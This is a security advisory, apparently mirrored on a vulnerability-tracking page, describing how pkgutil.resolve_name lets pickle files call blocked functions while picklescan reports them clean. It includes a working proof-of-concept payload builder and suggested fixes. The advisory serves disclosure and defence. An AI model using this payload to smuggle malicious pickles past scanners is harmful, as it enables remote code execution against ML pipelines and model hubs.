PickleScan's pkgutil.resolve_name has a universal blocklist bypass
Summary
pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.
This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.
Severity
Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.
Affected Versions
- picklescan <= 1.0.3 (all versions including latest)
Details
How It Works
A pickle file uses two chained REDUCE calls:
1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE
picklescan's opcode scanner sees:
STACK_GLOBALwith module=pkgutil, name=resolve_name→ NOT in blocklist → CLEAN- The second
REDUCEoperates on a stack value (the return of the first call), not on a global import → invisible to scanner
The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.
Decompiled Pickle (what the data actually does)
from pkgutil import resolve_name
_var0 = resolve_name('os:system') # Returns the actual os.system function
_var1 = _var0('malicious_command') # Calls os.system('malicious_command')
result = _var1
Confirmed Bypass Targets
Every entry in picklescan's blocklist can be reached via resolve_name:
| Chain | Resolves To | Confirmed RCE | picklescan Result |
|---|---|---|---|
resolve_name("os:system") |
os.system |
YES | CLEAN |
resolve_name("builtins:exec") |
builtins.exec |
YES | CLEAN |
resolve_name("builtins:eval") |
builtins.eval |
YES | CLEAN |
resolve_name("subprocess:getoutput") |
subprocess.getoutput |
YES | CLEAN |
resolve_name("subprocess:getstatusoutput") |
subprocess.getstatusoutput |
YES | CLEAN |
resolve_name("subprocess:call") |
subprocess.call |
YES (shell=True needed) | CLEAN |
resolve_name("subprocess:check_call") |
subprocess.check_call |
YES (shell=True needed) | CLEAN |
resolve_name("subprocess:check_output") |
subprocess.check_output |
YES (shell=True needed) | CLEAN |
resolve_name("posix:system") |
posix.system |
YES | CLEAN |
resolve_name("cProfile:run") |
cProfile.run |
YES | CLEAN |
resolve_name("profile:run") |
profile.run |
YES | CLEAN |
resolve_name("pty:spawn") |
pty.spawn |
YES | CLEAN |
Total: 11+ confirmed RCE chains, all reporting CLEAN.
Proof of Concept
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
# resolve_name("os:system")("id")
payload = (
b"\x80\x04\x95" + struct.pack("<Q", 55)
+ sbu("pkgutil") + sbu("resolve_name") + b"\x93" # STACK_GLOBAL
+ sbu("os:system") + b"\x85" + b"R" # REDUCE: resolve_name("os:system")
+ sbu("id") + b"\x85" + b"R" # REDUCE: os.system("id")
+ b"." # STOP
)
# picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0 # CLEAN!
# Execute: runs os.system("id") → RCE
pickle.loads(payload)
Why pkgutil Is Not Blocked
picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.
Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.
Impact
This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.
This affects:
- HuggingFace Hub (uses picklescan)
- Any ML pipeline using picklescan for safety validation
- Any system relying on picklescan's blocklist to prevent malicious pickle execution
Suggested Fix
-
Immediate: Add
pkgutilto_unsafe_globals:python"pkgutil": {"resolve_name"}, -
Also block similar resolution functions:
python"importlib": "*", "importlib.util": "*", -
Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking
pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:- Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching
"module:function") - Treating unknown globals as dangerous by default
- Switching to an allowlist model
- Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | picklescan | < 1.0.4 | 1.0.4 |
Referencias
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39
- https://nvd.nist.gov/vuln/detail/CVE-2026-3490
- https://github.com/mmaitre314/picklescan
- https://www.vulncheck.com/advisories/picklescan-universal-blocklist-bypass-via-pkgutil-resolve-name
- https://pypi.org/project/picklescan
- https://github.com/advisories/GHSA-vvpj-8cmc-gx39
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Debilidad (CWE)
CWE-183, CWE-693- Plataforma
- Python (PyPI)
- Paquete
picklescan- Publicada
- 03.03.2026
- Actualizado
- 11.10.2026 12:20
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-vvpj-8cmc-gx39 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-456 - PyPA Advisory Database; CC BY 4.0
Historial de vulnerabilidades: picklescan
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 58
- Primera → última
- 02.2025 03.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 7
- Alta 25
- Media 26
Divulgaciones por año
- 2025: 51
- 2026: 7
-
PickleScan's pkgutil.resolve_name has a universal blocklist bypass esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.